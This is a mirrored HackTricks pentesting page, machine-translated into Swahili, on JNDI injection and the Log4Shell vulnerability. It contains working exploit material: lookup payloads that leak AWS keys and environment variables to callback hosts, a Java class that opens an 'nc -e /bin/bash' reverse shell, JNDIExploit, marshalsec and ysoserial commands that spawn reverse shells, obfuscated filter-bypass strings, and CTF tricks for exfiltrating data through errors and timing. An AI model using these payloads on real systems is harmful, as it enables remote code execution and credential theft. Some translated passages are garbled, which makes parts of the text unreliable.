Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00

Translator workflow 54a7bb5de7 Translated to Swahili

2024-02-11 02:13:58 +00:00

32 KiB

Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
Pata swag rasmi ya PEASS & HackTricks
Gundua The PEASS Family, mkusanyiko wetu wa kipekee wa NFTs
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
Shiriki mbinu zako za udukuzi kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud repos za github.

Pata udhaifu unaofaa zaidi ili uweze kuzirekebisha haraka. Intruder inafuatilia eneo lako la shambulio, inafanya uchunguzi wa vitisho wa kujikinga, inapata masuala katika mfumo wako mzima wa teknolojia, kutoka kwa APIs hadi programu za wavuti na mifumo ya wingu. Jaribu bure leo.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Taarifa Msingi

JNDI, iliyounganishwa katika Java tangu miaka ya 1990, inatumika kama huduma ya saraka, kuruhusu programu za Java kupata data au vitu kupitia mfumo wa jina. Inasaidia huduma mbalimbali za saraka kupitia interfaces za watoa huduma (SPIs), kuruhusu kupata data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vilivyoko mbali. SPIs za kawaida ni pamoja na CORBA COS, Usajili wa Java RMI, na LDAP.

Marejeleo ya JNDI Naming

Vitu vya Java vinaweza kuhifadhiwa na kupatikana kwa kutumia Marejeleo ya Jina la JNDI, ambayo yanakuja katika aina mbili:

Anwani za Marejeleo: Inaonyesha eneo la kipengee (k.m., rmi://server/ref), kuruhusu kupata moja kwa moja kutoka kwa anwani iliyotajwa.
Kiwanda cha Mbali: Kinarejelea darasa la kiwanda cha mbali. Wakati kinapofikiwa, darasa hilo linapakuliwa na kuanzishwa kutoka kwa eneo la mbali.

Hata hivyo, mfumo huu unaweza kudukuliwa, na hivyo kusababisha kupakia na kutekeleza nambari yoyote. Kama hatua ya kinga:

RMI: java.rmi.server.useCodeabseOnly = true kwa chaguo-msingi kutoka JDK 7u21, inazuia kupakia vitu vya mbali. Meneja wa Usalama anazuia zaidi kile kinachoweza kupakiwa.
LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false kwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, inazuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwa imewekwa kuwa kweli, utekelezaji wa nambari ya mbali unawezekana bila usimamizi wa Meneja wa Usalama.
CORBA: Haina mali maalum, lakini Meneja wa Usalama daima yuko hai.

Hata hivyo, Meneja wa Jina, anayehusika na kutatua viungo vya JNDI, hana kinga ya kujengwa ndani, na hivyo kuruhusu kupata vitu kutoka vyanzo vyovyote. Hii inaleta hatari kwani ulinzi wa RMI, LDAP, na CORBA unaweza kuzungukwa, na hivyo kupakia vitu vya Java visivyo na mipaka au kudukua sehemu zilizopo za programu (vifaa) ili kuendesha nambari mbaya.

Mifano ya URL zinazoweza kudukuliwa ni pamoja na:

rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar

Licha ya kinga, udhaifu bado upo, hasa kutokana na ukosefu wa ulinzi dhidi ya kupakia JNDI kutoka kwa vyanzo visivyotegemewa na uwezekano wa kuzunguka kinga zilizopo.

Mfano wa JNDI

Hata kama umeweka PROVIDER_URL, unaweza kuonyesha moja tofauti katika utafutaji na itafikiwa: ctx.lookup("<attacker-controlled-url>") na ndio kitu ambacho mshambuliaji atatumia kudukua vitu visivyo na mipaka kutoka kwa mfumo unaodhibitiwa na yeye.

Muhtasari wa CORBA

CORBA (Common Object Request Broker Architecture) inatumia Interoperable Object Reference (IOR) kuwatambulisha vitu vya mbali kwa njia ya kipekee. Kumbukumbu hii ina habari muhimu kama vile:

Kitambulisho cha Aina: Kitambulisho cha kipekee kwa kiolesura.
Codebase: URL ya kupata darasa la stub.

Ni muhimu kutambua kuwa CORBA haiko hatarini kwa asili. Kuhakikisha usalama kwa kawaida kunahusisha:

Usanidi wa Meneja wa Usalama.
Usanidi wa Meneja wa Usalama kuruhusu uhusiano na codebases za nambari mbaya. Hii inaweza kufanikiwa kupitia:
Ruhusa ya soketi, k.m., permissions java.net.SocketPermission "*:1098-1099", "connect";.
Ruhusa ya kusoma faili, au kwa ujumla (permission java.io.FilePermission "<<ALL FILES>>", "read";) au kwa saraka maalum ambapo faili mbaya zinaweza kuwekwa.

Hata hivyo, sera za wauzaji fulani zinaweza kuwa na upole na kuruhusu uhusiano huu kwa chaguo-msingi.

Mazingira ya RMI

Kwa RMI (Remote Method Invocation), hali ni tofauti kidogo. Kama ilivyo kwa CORBA, kupakia darasa lolote kwa hiari kunazuiliwa kwa chaguo-msingi. Kudukua RMI, kwa kawaida mtu anahitaji kuzunguka Meneja wa Usalama, jambo ambalo pia ni muhimu katika CORBA.

LDAP

Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Utafutaji.
Utafutaji utatumia URL kama ldap://localhost:389/o=JNDITutorial ili kupata kipengee cha JNDITutorial kutoka kwa seva ya LDAP na kupata sifa zake.
Utafutaji ni kwa ajili ya huduma za majina kwani tunataka kupata chochote kilichounganishwa na jina.

Ikiwa utafutaji wa LDAP uliitwa na SearchControls.setReturningObjFlag() na kweli, basi kipengee kilichorudishwa kitajengwa upya.

Kwa hiyo, kuna njia kadhaa za kushambulia chaguo hizi.
Mshambuliaji anaweza kuweka sumu kwenye rekodi za LDAP kwa kuingiza malipo kwenye rekodi hizo ambazo zitatendeka kwenye mifumo inayokusanya (inayokusaidia kuambukiza mashine kumi ikiwa una ufikiaji wa seva ya LDAP). Njia nyingine ya kudukua hii ni kufanya **shambulio la MitM katika utafut

Mfadhaiko wa Log4Shell

Mfadhaiko huu unatokea katika Log4j kwa sababu inasaidia syntax maalum katika mfumo wa ${prefix:jina} ambapo prefix ni moja ya Lookups tofauti ambapo jina linapaswa kuhesabiwa. Kwa mfano, ${java:version} ni toleo la sasa la Java linalotumika.

LOG4J2-313 ilianzisha kipengele cha jndi Lookup. Kipengele hiki kinawezesha upatikanaji wa pembejeo kupitia JNDI. Kawaida, ufunguo unapewa kiotomatiki kipimo cha java:comp/env/. Walakini, ikiwa ufunguo wenyewe una ":", kipimo cha msingi hakitumiki.

Ikiwa kuna : ipo katika ufunguo, kama vile ${jndi:ldap://example.com/a}, hakuna kipimo na seva ya LDAP inaulizwa kwa kitu. Na Lookups hizi zinaweza kutumika katika usanidi wa Log4j pamoja na wakati mistari inalogiwa.

Kwa hivyo, kitu pekee kinachohitajika kupata RCE ni toleo lenye kasoro la Log4j linaloprocess habari inayodhibitiwa na mtumiaji. Na kwa kuwa hii ni maktaba inayotumiwa sana na programu za Java kwa kusajili habari (pamoja na programu zinazotumiwa kwenye mtandao), ilikuwa kawaida sana kuwa na log4j inayosajili kwa mfano vichwa vya habari vya HTTP vilivyopokelewa kama User-Agent. Walakini, log4j haitumiki kusajili habari za HTTP tu bali pembejeo na data yoyote ambayo msanidi programu ameonyesha.

Muhtasari wa CVE zinazohusiana na Log4Shell

CVE-2021-44228 [Kali]

Mfadhaiko huu ni kasoro hatari ya kutokuaminika kwa deserialization katika sehemu ya log4j-core, ikiaathiri toleo kutoka 2.0-beta9 hadi 2.14.1. Inaruhusu utekelezaji wa nambari kijijini (RCE), ikiruhusu wadukuzi kuchukua udhibiti wa mifumo. Shida hiyo iliripotiwa na Chen Zhaojun kutoka Timu ya Usalama ya Alibaba Cloud na inaathiri fremu mbalimbali za Apache. Suluhisho la awali katika toleo 2.15.0 lilikuwa halikamilifu. Sheria za Sigma kwa ulinzi zinapatikana (Sheria 1, Sheria 2).

CVE-2021-45046 [Kali]

Awali ilipewa kiwango cha chini lakini baadaye ikapandishwa hadhi ya kali, CVE hii ni kasoro ya Denial of Service (DoS) inayotokana na suluhisho lisilokamilika katika 2.15.0 kwa CVE-2021-44228. Inaathiri usanidi usio wa kawaida, ikiruhusu wadukuzi kusababisha mashambulizi ya DoS kupitia malipo yaliyoundwa. Tweets inaonyesha njia ya kuzunguka. Shida hiyo imepatiwa ufumbuzi katika toleo 2.16.0 na 2.12.2 kwa kuondoa muundo wa utafutaji wa ujumbe na kuzima JNDI kwa chaguo-msingi.

CVE-2021-4104 [Kali]

Inaathiri toleo la Log4j 1.x katika usanidi usio wa kawaida unatumia JMSAppender, CVE hii ni kasoro ya kutokuaminika kwa deserialization. Hakuna suluhisho lililopo kwa tawi la 1.x, ambalo limefikia mwisho wa maisha yake, na inapendekezwa kuboresha hadi log4j-core 2.17.0.

CVE-2021-42550 [Wastani]

Mfadhaiko huu unaathiri mfumo wa kuingiza Logback, mrithi wa Log4j 1.x. Awali ilidhaniwa kuwa salama, mfumo huo uligundulika kuwa na kasoro, na toleo jipya (1.3.0-alpha11 na 1.2.9) limechapishwa ili kushughulikia shida hiyo.

CVE-2021-45105 [Kali]

Log4j 2.16.0 ina kasoro ya DoS, ikisababisha kutolewa kwa log4j 2.17.0 ili kurekebisha CVE hiyo. Maelezo zaidi yanapatikana katika ripoti ya BleepingComputer.

CVE-2021-44832

Inaathiri toleo la log4j 2.17, CVE hii inahitaji mshambuliaji kudhibiti faili ya usanidi ya log4j. Inahusisha utekelezaji wa nambari isiyojulikana kupitia JDBCAppender iliyosanidiwa. Maelezo zaidi yanapatikana katika chapisho la blogi la Checkmarx.

Utekaji wa Log4Shell

Ugunduzi

Mfadhaiko huu ni rahisi sana kugundua ikiwa hauna ulinzi kwa sababu itatuma angalau ombi la DNS kwa anwani unayotaja katika mzigo wako. Kwa hivyo, mzigo kama:

${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (kwa kutumia canarytokens.com)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (kwa kutumia interactsh)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (kwa kutumia Burp Suite)
${jndi:ldap://2j4ayo.dnslog.cn} (kwa kutumia dnslog)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (kwa kutumia huntress)

Tafadhali kumbuka kwamba hata ikiwa ombi la DNS linapokelewa hiyo haimaanishi kuwa programu inaweza kudukuliwa (au hata kuwa na kasoro), utahitaji kujaribu kuidukua.

{% hint style="info" %} Kumbuka kwamba ili kudukua toleo la 2.15 unahitaji kuongeza kizuizi cha ukaguzi wa localhost: ${jndi:ldap://127.0.0.1#...} {% endhint %}

Ugunduzi wa Ndani

Tafuta toleo za ndani zilizo na kasoro za maktaba na:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Uhakiki

Baadhi ya majukwaa yaliyoorodheshwa hapo awali yatakuruhusu kuweka data ya kubadilika ambayo itaandikwa kwenye logi wakati inahitajika.
Hii inaweza kuwa na manufaa sana kwa mambo 2:

Kwa kuthibitisha udhaifu
Kwa kuvuja taarifa kwa kutumia udhaifu huo

Kwa mfano, unaweza kuomba kitu kama:
au kama ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} na ikiwa ombi la DNS linapokelewa na thamani ya mazingira, unajua kuwa programu ina udhaifu.

Taarifa nyingine unayoweza kujaribu kuvuja:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

Taarifa za RCE

{% hint style="info" %} Watumiaji wa JDK yenye toleo la 6u141, 7u131, au 8u121 wamehifadhiwa dhidi ya njia ya shambulio la upakiaji wa darasa la LDAP. Hii ni kutokana na kuzimwa kwa chaguo-msingi la com.sun.jndi.ldap.object.trustURLCodebase, ambayo inazuia JNDI kupakia kificho cha mbali kupitia LDAP. Hata hivyo, ni muhimu kuelewa kwamba toleo hizi hazilindwi dhidi ya njia ya shambulio la deserializesheni.

Kwa wadukuzi wanaolenga kuchexploit toleo za JDK hizi za juu, ni muhimu kutumia gadget ya kuaminika ndani ya programu ya Java. Zana kama ysoserial au JNDIExploit mara nyingi hutumiwa kwa kusudi hili. Kwa upande mwingine, kuchexploit toleo za JDK za chini ni rahisi zaidi kwani toleo hizi zinaweza kubadilishwa ili kupakia na kutekeleza darasa lolote.

Kwa taarifa zaidi (kama vile mipaka kwenye njia za RMI na CORBA), angalia sehemu ya Marejeleo ya JNDI Naming iliyotangulia au https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}

RCE - Marshalsec na mzigo wa desturi

Unaweza kujaribu hii kwenye kisanduku cha THM: https://tryhackme.com/room/solar

Tumia zana ya marshalsec (toleo la jar linapatikana hapa). Hatua hii inajenga seva ya rufaa ya LDAP ili kuhamisha uhusiano kwenye seva ya HTTP ya pili ambapo shambulio litakuwa limehifadhiwa:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Ili kumshawishi lengo kusoma nambari ya kitanzi ya nyuma, tengeneza faili ya Java iliyoitwa Exploit.java na yaliyomo yafuatayo:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Andaa faili ya Java kuwa faili ya darasa kwa kutumia: javac Exploit.java -source 8 -target 8. Kisha anzisha seva ya HTTP katika saraka inayohifadhi faili ya darasa kwa kutumia: python3 -m http.server. Hakikisha seva ya LDAP ya marshalsec inarejelea seva hii ya HTTP.

Chokoza utekelezaji wa darasa la shambulizi kwenye seva ya wavuti inayoweza kudhurika kwa kutuma mzigo unaofanana na huu:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Maelezo: Kudukua hii kunategemea usanidi wa Java kuruhusu kupakia msingi wa nambari kwa njia ya LDAP. Ikiwa hii haikubaliki, fikiria kudukua darasa lililothibitishwa kwa utekelezaji wa nambari ya aina yoyote.

RCE - JNDIExploit

{% hint style="info" %} Tafadhali kumbuka kuwa kwa sababu fulani mwandishi aliondoa mradi huu kutoka kwenye github baada ya ugunduzi wa log4shell. Unaweza kupata toleo lililohifadhiwa katika https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 lakini ikiwa unataka kuheshimu uamuzi wa mwandishi, tumia njia tofauti ya kudukua udhaifu huu.

Zaidi ya hayo, huwezi kupata msimbo wa chanzo kwenye wayback machine, kwa hivyo au chambua msimbo wa chanzo, au tekeleza jar ukiwa na ufahamu kwamba hujui unachotekeleza. {% endhint %}

Kwa mfano huu, unaweza tu kuendesha seva dhaifu ya wavuti kwa log4shell kwenye bandari 8080: https://github.com/christophetd/log4shell-vulnerable-app (katika README utapata jinsi ya kuendesha). Programu hii dhaifu inalogiwa na toleo dhaifu la log4shell maudhui ya kichwa cha ombi la HTTP X-Api-Version.

Kisha, unaweza kupakua faili ya jar ya JNDIExploit na kuitekeleza kwa kutumia:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Baada ya kusoma nambari kwa dakika chache tu, katika com.feihong.ldap.LdapServer na com.feihong.ldap.HTTPServer unaweza kuona jinsi seva za LDAP na HTTP zinavyoundwa. Seva ya LDAP itaelewa ni mzigo gani unahitaji kutumikwa na itamwongoza muathirika kwenye seva ya HTTP, ambayo itatumikia shambulio.
Katika com.feihong.ldap.gadgets unaweza kupata baadhi ya vifaa maalum ambavyo vinaweza kutumika kutekeleza hatua inayotaka (kwa uwezekano wa kutekeleza nambari yoyote). Na katika com.feihong.ldap.template unaweza kuona darasa tofauti za templeti ambazo zitakuwa zinazalisha mashambulizi.

Unaweza kuona mashambulizi yote yanayopatikana kwa kutumia java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Baadhi ya mashambulizi yanayoweza kusaidia ni:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Basi, katika mfano wetu, tayari tuna programu hiyo ya docker ambayo ina mapungufu. Ili kuishambulia:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Wakati unatuma mashambulizi utaona baadhi ya matokeo kwenye terminali ambapo ulitekeleza JNDIExploit-1.2-SNAPSHOT.jar.

Kumbuka kuangalia java -jar JNDIExploit-1.2-SNAPSHOT.jar -u kwa chaguzi zingine za uharibifu. Zaidi ya hayo, ikiwa unahitaji, unaweza kubadilisha bandari ya seva za LDAP na HTTP.

RCE - JNDI-Exploit-Kit

Kwa njia kama ile ya uharibifu uliopita, unaweza kujaribu kutumia JNDI-Exploit-Kit kudukua udhaifu huu.
Unaweza kuzalisha URL za kutuma kwa mwathiriwa kwa kukimbia:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Kushambulia hii kwa kutumia kitu cha kipekee kilichotengenezwa kwa ajili ya Java itafanya kazi katika maabara kama THM solar room. Hata hivyo, kwa kawaida haitafanya kazi (kwa sababu kwa chaguo-msingi Java haijasanidiwa kusoma msingi wa nambari ya mbali kwa kutumia LDAP) nadhani kwa sababu haichafui darasa lililothibitishwa ili kutekeleza nambari ya aina yoyote.

RCE - ysoserial & JNDI-Exploit-Kit

Chaguo hili ni muhimu sana kushambulia toleo la Java lililosanidiwa kuamini darasa maalum na sio kila mtu. Kwa hiyo, ysoserial itatumika kuunda serializations za darasa zilizothibitishwa ambazo zinaweza kutumika kama vifaa vya kutekeleza nambari ya aina yoyote (darasa lililothibitishwa lililochafuliwa na ysoserial lazima litumiwe na programu ya Java ya mwathirika ili shambulio lifanye kazi).

Kwa kutumia ysoserial au ysoserial-modified unaweza kuunda shambulio la deserialization ambalo litapakuliwa na JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Tumia JNDI-Exploit-Kit kuunda viungo vya JNDI ambapo shambulio litasubiri kwa uhusiano kutoka kwenye mashine zilizo hatarini. Unaweza kutumikia shambulio tofauti ambalo linaweza kuzalishwa moja kwa moja na JNDI-Exploit-Kit au hata mizigo yako ya deserialization (iliyozalishwa na wewe au ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Sasa unaweza kutumia kiungo cha JNDI kilichozalishwa kwa urahisi kufaidika na udhaifu na kupata shell ya kurudisha kwa kutuma kwa toleo lenye udhaifu la log4j: ${ldap://10.10.14.10:1389/generated}

Kupitisha Mipito

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Skanari za Kiotomatiki

Maabara za kujaribu

Uvamizi Baada ya Log4Shell

Katika CTF writeup hii inaelezea vizuri jinsi inavyowezekana kutumia vibaya baadhi ya vipengele vya Log4J.

Ukurasa wa usalama wa Log4j una sentensi za kuvutia:

Kutoka toleo la 2.16.0 (kwa Java 8), kifaa cha kutafuta ujumbe kimeondolewa kabisa. Tafuta katika usanidi bado inafanya kazi. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Tafuta za JNDI katika usanidi sasa zinahitaji kuwezeshwa kwa uwazi.

Kutoka toleo la 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), herufi za utafutaji tu katika usanidi zinaongezeka kwa njia ya kurudufu; katika matumizi mengine yoyote, utafutaji wa ngazi ya juu tu unatatuliwa, na utafutaji wowote ulioingizwa haufanyi kazi.

Hii inamaanisha kwamba kwa chaguo-msingi unaweza kusahau kutumia shambulio la jndi. Zaidi ya hayo, ili kufanya utafutaji wa kurudufu, unahitaji kuwa na usanidi huo.

Kwa mfano, katika CTF hii ilikuwa imehifadhiwa katika faili log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Utafutaji wa Mazingira

Katika CTF hii, mshambuliaji alidhibiti thamani ya ${sys:cmd} na alihitaji kuchukua bendera kutoka kwa mazingira ya kipekee.
Kama ilivyoonekana katika ukurasa huu katika mifano ya awali, kuna njia tofauti za kupata mazingira ya kipekee, kama vile: ${env:FLAG}. Katika CTF hii, hii haikuwa na maana lakini inaweza kuwa na maana katika hali halisi nyingine.

Kuchukua Bendera kwa Kutumia Makosa

Katika CTF, haukuweza kupata stderr ya programu ya Java kwa kutumia log4J, lakini makosa ya Log4J hutumwa kwa stdout, ambayo ilichapishwa katika programu ya Python. Hii ilimaanisha kwamba kwa kusababisha kosa tunaweza kupata maudhui. Kosa la kuchukua bendera lilikuwa: ${java:${env:FLAG}}. Hii inafanya kazi kwa sababu ${java:CTF{blahblah}} haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa:

Mifano ya Kubadilisha Makosa

Tu kutaja tu, unaweza pia kuingiza mifano mpya ya mifano ya ubadilishaji na kusababisha makosa ambayo yatakuwa yamehifadhiwa kwenye stdout. Kwa mfano:

Hii haikuwa na manufaa katika kuchukua tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukutatuliwa kabla ya mfano wa ubadilishaji, lakini inaweza kuwa na manufaa kwa mambo mengine kama kugundua.

Mifano ya Kubadilisha Makosa kwa Kutumia Regexes

Hata hivyo, ni muhimu kutumia baadhi ya mifano ya ubadilishaji inayounga mkono regexes ili kuchukua habari kutoka kwa utafutaji kwa kutumia regexes na kudanganya tabia za utafutaji wa binary au kulingana na wakati.

Utafutaji wa binary kupitia ujumbe wa makosa

Mfano wa ubadilishaji %replace unaweza kutumika kubadilisha maudhui kutoka kwa herufi hata kwa kutumia regexes. Inafanya kazi kama hii: replace{pattern}{regex}{substitution}
Kwa kudanganya tabia hii, unaweza kufanya ubadilishaji kusababisha kosa ikiwa regex inalingana na kitu chochote ndani ya herufi (na hakuna kosa ikiwa haikupatikana) kama ifuatavyo:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception

Kulingana na Wakati

Kama ilivyotajwa katika sehemu iliyotangulia, %replace inasaidia regexes. Kwa hivyo ni muhimu kutumia mzigo kutoka kwenye ukurasa wa ReDoS ili kusababisha muda wa kusubiri ikiwa bendera itapatikana.
Kwa mfano, mzigo kama %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} ungezua muda wa kusubiri katika CTF hiyo.

Katika makala hii, badala ya kutumia shambulio la ReDoS, ilifanya shambulio la kuongeza ili kusababisha tofauti ya wakati katika majibu:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
Ikiwa bendera inaanza na flagGuess, bendera nzima itabadilishwa na # 29 (Nilitumia herufi hii kwa sababu ina uwezekano mdogo wa kuwa sehemu ya bendera). Kila moja ya # 29 zilizopatikana kisha zinabadilishwa na # 54. Mchakato huu unarudiwa mara 6, ikiongoza kwa jumla ya 29*54*54^6* =`` ``96816014208 #-s!

Kwa kubadilisha # nyingi sana, itasababisha muda wa kusubiri wa sekunde 10 wa programu ya Flask, ambayo kwa upande wake itasababisha nambari ya hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi na flagGuess, tutapokea nambari ya hali isiyo ya 500)

Marejeo

Tafuta udhaifu unaofaa zaidi ili uweze kuyatatua haraka. Intruder inafuatilia eneo lako la shambulio, inatekeleza uchunguzi wa vitisho wa kujitokeza, inapata masuala katika mfumo wako wa teknolojia mzima, kutoka kwa APIs hadi programu za wavuti na mifumo ya wingu. Jaribu bure leo.